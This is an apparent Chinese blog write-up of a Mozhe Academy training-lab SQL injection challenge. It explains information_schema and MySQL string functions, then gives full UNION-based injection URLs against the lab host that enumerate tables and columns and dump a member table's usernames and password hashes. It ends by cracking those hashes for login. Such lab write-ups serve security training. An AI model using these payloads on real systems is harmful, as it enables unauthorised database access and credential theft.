墨者学院SQl注入入门第二题

墨者学院SQl注入入门第二题

table_name:表名

column_name:列名

table_schema:数据库名

information_schema.tables:记录所有表名的表

information_schema.columns:记录所有列名的表

information_schema.schemata:记录所有数据库的表

数据库版本:version()

数据库名字:database()

数据库用户:user()

数据库路径:@@datadir

操作系统:@@version_compile_os

当前用户名: current_user()

系统用户名:system_user()

sql字符串的相关函数:

length(): 返回字符串的长度

substr():截取字符串

mid(),left():从左侧开始截取指定的字符个数的字符串

concat():没有分隔符的连接字符串

concat_ws():含有分隔符的连接字符串(CONCAT_WS(separator, str1, str2, ..., strN))separator代表的是分隔符

group_concat():连接一个组成的字符串(把分组后的每组的多条记录合并成一条记录每个值用,逗号分隔)

ord():返回十进制的unicode编码也就是10进制

ascii():返回ASCll码

第一步:寻找注入点,跟上一题差不多都是在这个页面下的

这里可以看到?id=tingjigonggao这里可能存在注入点所以

第二步:尝试注入

使用' and 1=1#,' and 1=2#查看页面是否有变化

这里页面几乎没有变化所以尝试1,用or。2,换其他注释符--+,-- (空格),--%23

发现使用--+可以所以推断是#被过滤了所以这里存在sql注入

第三步:查看响应段数

这里使用http://182.44.114.36:49451/new_list.php?id=tingjigonggao' order by 1--+

http://182.44.114.36:49451/new_list.php?id=tingjigonggao' order by 2--+

http://182.44.114.36:49451/new_list.php?id=tingjigonggao' order by 3--+

http://182.44.114.36:49451/new_list.php?id=tingjigonggao' order by 4--+

http://182.44.114.36:49451/new_list.php?id=tingjigonggao' order by 5--+

发现5没有响应所以这是一个4段式的

使用http://182.44.114.36:49451/new_list.php?id=tingjigonggao' order by 2--+

可以看到2和3是响应段,解释一下这句话在确定的参数前加-(负号)是为了杀掉原来的语句构造后面的语句的回显union 就是在原有的基础上再执行后面的select语句

第四步:开始注入

1.http://182.44.114.36:49451/new_list.php?id=-tingjigonggao' union select 1,database(),3,4--+

解释:用已知回显段查数据库名用database()

2.http://182.44.114.36:49451/new_list.php?id=-tingjigonggao' union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema='mozhe_discuz_stormgroup'--+

解释:已知了数据库名就查寻表名用table_name但是有可能不止一个表所以加上group_concat()来源于information_schema.tables这是包含所有表名的表后面要跟上条件是数据库为mozhe_discuz_stormgroup这个数据库的表名

3.1.http://182.44.114.36:49451/new_list.php?id=-tingjigonggao' union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='notice'--+

解释:这一步有两个表所以都要查在已知表名的情况下查询字段名用column_name也加上group_concat(),来源于包含所有字段名的表information_schema.columns条件是表名为notice

3.2.http://182.44.114.36:49451/new_list.php?id=-tingjigonggao' union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='stormgroup_member'--+

解释:这里没有我们想要的用户名和密码已知表名的情况下查询字段名用column_name也加上group_concat(),来源于包含所有字段名的表information_schema.columns条件是表名为stormgroup_member

4.http://182.44.114.36:49451/new_list.php?id=-tingjigonggao' union select 1,group_concat(name),group_concat(password),4 from stormgroup_member--+

解释:已知字段名所以用group_concat(name),group_concat(password)来查询字段下的数据来源于stormgroup_memeber这个表,group_concat()是为了将所有的记录全部显示出来

最后将这两个分别解码md5https://www.cmd5.com/default.aspx

1.dsan13

2.179891

登录就行

posted @ 2026-10-27 12:43  均木  阅读(3)  评论(0)    收藏  举报